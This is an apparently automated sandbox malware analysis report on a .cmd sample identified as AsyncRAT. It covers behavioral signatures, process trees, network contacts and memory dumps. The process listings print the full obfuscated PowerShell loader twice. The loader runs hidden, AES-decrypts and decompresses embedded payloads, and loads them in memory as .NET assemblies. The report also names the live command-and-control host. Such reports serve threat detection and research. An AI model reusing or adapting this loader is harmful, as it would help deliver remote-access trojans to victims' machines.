Malware Analysis Report

2024-10-23 19:25

Sample ID 240524-qpzrgsff3z
Target c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd
SHA256 c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0
Tags
execution asyncrat venom clients rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0

Threat Level: Known bad

The file c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd was found to be: Known bad.

Malicious Activity Summary

execution asyncrat venom clients rat

AsyncRat

Async RAT payload

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-24 13:26

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-24 13:26

Reported

2024-05-24 13:29

Platform

win7-20240215-en

Max time kernel

117s

Max time network

118s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3024 wrote to memory of 1664 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3024 wrote to memory of 1664 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3024 wrote to memory of 1664 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3024 wrote to memory of 1856 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3024 wrote to memory of 1856 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3024 wrote to memory of 1856 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1856 wrote to memory of 1708 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1856 wrote to memory of 1708 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1856 wrote to memory of 1708 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1856 wrote to memory of 2056 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1856 wrote to memory of 2056 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1856 wrote to memory of 2056 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1856 wrote to memory of 1716 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1856 wrote to memory of 1716 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1856 wrote to memory of 1716 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd"

C:\Windows\system32\cmd.exe

cmd /c \"set __=^&rem\

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd

C:\Windows\system32\cmd.exe

cmd /c \"set __=^&rem\

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd';$pbWn='CCiQDreCiQDatCiQDeCiQDDeCiQDcCiQDryCiQDptCiQDoCiQDrCiQD'.Replace('CiQD', ''),'ReaxqAidLxqAiinxqAiesxqAi'.Replace('xqAi', ''),'InQyKRvokQyKReQyKR'.Replace('QyKR', ''),'SplnwOxitnwOx'.Replace('nwOx', ''),'TwpaoranwpaosfowpaormFwpaoinawpaolBwpaolwpaoocwpaokwpao'.Replace('wpao', ''),'MHTmMainHTmMModHTmMuleHTmM'.Replace('HTmM', ''),'DjIQtejIQtcomjIQtprjIQtesjIQtsjIQt'.Replace('jIQt', ''),'GXkOEetXkOECuXkOErrXkOEenXkOEtPXkOErocXkOEeXkOEssXkOE'.Replace('XkOE', ''),'CopSQYnyTSQYnoSQYn'.Replace('SQYn', ''),'EnPEgatrPEgayPoPEgainPEgatPEga'.Replace('PEga', ''),'ElmTJxemmTJxenmTJxtAtmTJx'.Replace('mTJx', ''),'FrqclComqclCBqclCaseqclC64qclCStqclCrinqclCgqclC'.Replace('qclC', ''),'ChraKjanraKjgeraKjExraKjtenraKjsraKjioraKjnraKj'.Replace('raKj', ''),'LwzKkoawzKkdwzKk'.Replace('wzKk', '');powershell -w hidden;function YbNek($AfeKW){$JkaZj=[System.Security.Cryptography.Aes]::Create();$JkaZj.Mode=[System.Security.Cryptography.CipherMode]::CBC;$JkaZj.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$JkaZj.Key=[System.Convert]::($pbWn[11])('V0mh2MCToA3bNgC8EKO2KMAaZFb3l+ctJ6Wraknusvw=');$JkaZj.IV=[System.Convert]::($pbWn[11])('prJfwam6dZ/6yyv50tuZSA==');$fCuEB=$JkaZj.($pbWn[0])();$kBOHP=$fCuEB.($pbWn[4])($AfeKW,0,$AfeKW.Length);$fCuEB.Dispose();$JkaZj.Dispose();$kBOHP;}function hgyps($AfeKW){$ALoua=New-Object System.IO.MemoryStream(,$AfeKW);$GsRzp=New-Object System.IO.MemoryStream;$WrauX=New-Object System.IO.Compression.GZipStream($ALoua,[IO.Compression.CompressionMode]::($pbWn[6]));$WrauX.($pbWn[8])($GsRzp);$WrauX.Dispose();$ALoua.Dispose();$GsRzp.Dispose();$GsRzp.ToArray();}$dfSrb=[System.IO.File]::($pbWn[1])([Console]::Title);$CHSWN=hgyps (YbNek ([Convert]::($pbWn[11])([System.Linq.Enumerable]::($pbWn[10])($dfSrb, 5).Substring(2))));$UqEWf=hgyps (YbNek ([Convert]::($pbWn[11])([System.Linq.Enumerable]::($pbWn[10])($dfSrb, 6).Substring(2))));[System.Reflection.Assembly]::($pbWn[13])([byte[]]$UqEWf).($pbWn[9]).($pbWn[2])($null,$null);[System.Reflection.Assembly]::($pbWn[13])([byte[]]$CHSWN).($pbWn[9]).($pbWn[2])($null,$null); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -ep bypass

Network

N/A

Files

memory/1716-4-0x000007FEF5FEE000-0x000007FEF5FEF000-memory.dmp

memory/1716-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

memory/1716-5-0x000000001B630000-0x000000001B912000-memory.dmp

memory/1716-7-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

memory/1716-8-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

memory/1716-9-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

memory/1716-10-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

memory/1716-11-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-24 13:26

Reported

2024-05-24 13:29

Platform

win10v2004-20240508-en

Max time kernel

133s

Max time network

152s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd"

Signatures

AsyncRat

rat asyncrat

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd"

C:\Windows\system32\cmd.exe

cmd /c \"set __=^&rem\

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd

C:\Windows\system32\cmd.exe

cmd /c \"set __=^&rem\

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd';$pbWn='CCiQDreCiQDatCiQDeCiQDDeCiQDcCiQDryCiQDptCiQDoCiQDrCiQD'.Replace('CiQD', ''),'ReaxqAidLxqAiinxqAiesxqAi'.Replace('xqAi', ''),'InQyKRvokQyKReQyKR'.Replace('QyKR', ''),'SplnwOxitnwOx'.Replace('nwOx', ''),'TwpaoranwpaosfowpaormFwpaoinawpaolBwpaolwpaoocwpaokwpao'.Replace('wpao', ''),'MHTmMainHTmMModHTmMuleHTmM'.Replace('HTmM', ''),'DjIQtejIQtcomjIQtprjIQtesjIQtsjIQt'.Replace('jIQt', ''),'GXkOEetXkOECuXkOErrXkOEenXkOEtPXkOErocXkOEeXkOEssXkOE'.Replace('XkOE', ''),'CopSQYnyTSQYnoSQYn'.Replace('SQYn', ''),'EnPEgatrPEgayPoPEgainPEgatPEga'.Replace('PEga', ''),'ElmTJxemmTJxenmTJxtAtmTJx'.Replace('mTJx', ''),'FrqclComqclCBqclCaseqclC64qclCStqclCrinqclCgqclC'.Replace('qclC', ''),'ChraKjanraKjgeraKjExraKjtenraKjsraKjioraKjnraKj'.Replace('raKj', ''),'LwzKkoawzKkdwzKk'.Replace('wzKk', '');powershell -w hidden;function YbNek($AfeKW){$JkaZj=[System.Security.Cryptography.Aes]::Create();$JkaZj.Mode=[System.Security.Cryptography.CipherMode]::CBC;$JkaZj.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$JkaZj.Key=[System.Convert]::($pbWn[11])('V0mh2MCToA3bNgC8EKO2KMAaZFb3l+ctJ6Wraknusvw=');$JkaZj.IV=[System.Convert]::($pbWn[11])('prJfwam6dZ/6yyv50tuZSA==');$fCuEB=$JkaZj.($pbWn[0])();$kBOHP=$fCuEB.($pbWn[4])($AfeKW,0,$AfeKW.Length);$fCuEB.Dispose();$JkaZj.Dispose();$kBOHP;}function hgyps($AfeKW){$ALoua=New-Object System.IO.MemoryStream(,$AfeKW);$GsRzp=New-Object System.IO.MemoryStream;$WrauX=New-Object System.IO.Compression.GZipStream($ALoua,[IO.Compression.CompressionMode]::($pbWn[6]));$WrauX.($pbWn[8])($GsRzp);$WrauX.Dispose();$ALoua.Dispose();$GsRzp.Dispose();$GsRzp.ToArray();}$dfSrb=[System.IO.File]::($pbWn[1])([Console]::Title);$CHSWN=hgyps (YbNek ([Convert]::($pbWn[11])([System.Linq.Enumerable]::($pbWn[10])($dfSrb, 5).Substring(2))));$UqEWf=hgyps (YbNek ([Convert]::($pbWn[11])([System.Linq.Enumerable]::($pbWn[10])($dfSrb, 6).Substring(2))));[System.Reflection.Assembly]::($pbWn[13])([byte[]]$UqEWf).($pbWn[9]).($pbWn[2])($null,$null);[System.Reflection.Assembly]::($pbWn[13])([byte[]]$CHSWN).($pbWn[9]).($pbWn[2])($null,$null); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -ep bypass

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4196,i,11266875042087428226,16669718873272757238,262144 --variations-seed-version --mojo-platform-channel-handle=4092 /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 130.211.222.173.in-addr.arpa udp
US 8.8.8.8:53 75.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 undjsj.duckdns.org udp
US 12.202.180.134:8890 undjsj.duckdns.org tcp
NL 23.62.61.138:443 www.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 134.180.202.12.in-addr.arpa udp
US 8.8.8.8:53 138.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 249.197.17.2.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp

Files

memory/2212-0-0x00007FFE9FFB3000-0x00007FFE9FFB5000-memory.dmp

memory/2212-1-0x000001BE5B140000-0x000001BE5B162000-memory.dmp

memory/2212-11-0x00007FFE9FFB0000-0x00007FFEA0A71000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zfqielgq.o05.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2212-12-0x00007FFE9FFB0000-0x00007FFEA0A71000-memory.dmp

memory/2212-13-0x000001BE756E0000-0x000001BE75724000-memory.dmp

memory/2212-14-0x000001BE757B0000-0x000001BE75826000-memory.dmp

memory/2212-26-0x000001BE5B190000-0x000001BE5B1A2000-memory.dmp

memory/2212-27-0x00007FFEBE790000-0x00007FFEBE985000-memory.dmp

memory/2212-28-0x00007FFEBE550000-0x00007FFEBE60E000-memory.dmp

memory/2212-29-0x000001BE5B1D0000-0x000001BE5B1E0000-memory.dmp

memory/2212-30-0x000001BE5B1E0000-0x000001BE5B1F6000-memory.dmp

memory/2212-34-0x00007FFE9FFB0000-0x00007FFEA0A71000-memory.dmp

memory/2212-35-0x00007FFE9FFB3000-0x00007FFE9FFB5000-memory.dmp

memory/2212-36-0x00007FFE9FFB0000-0x00007FFEA0A71000-memory.dmp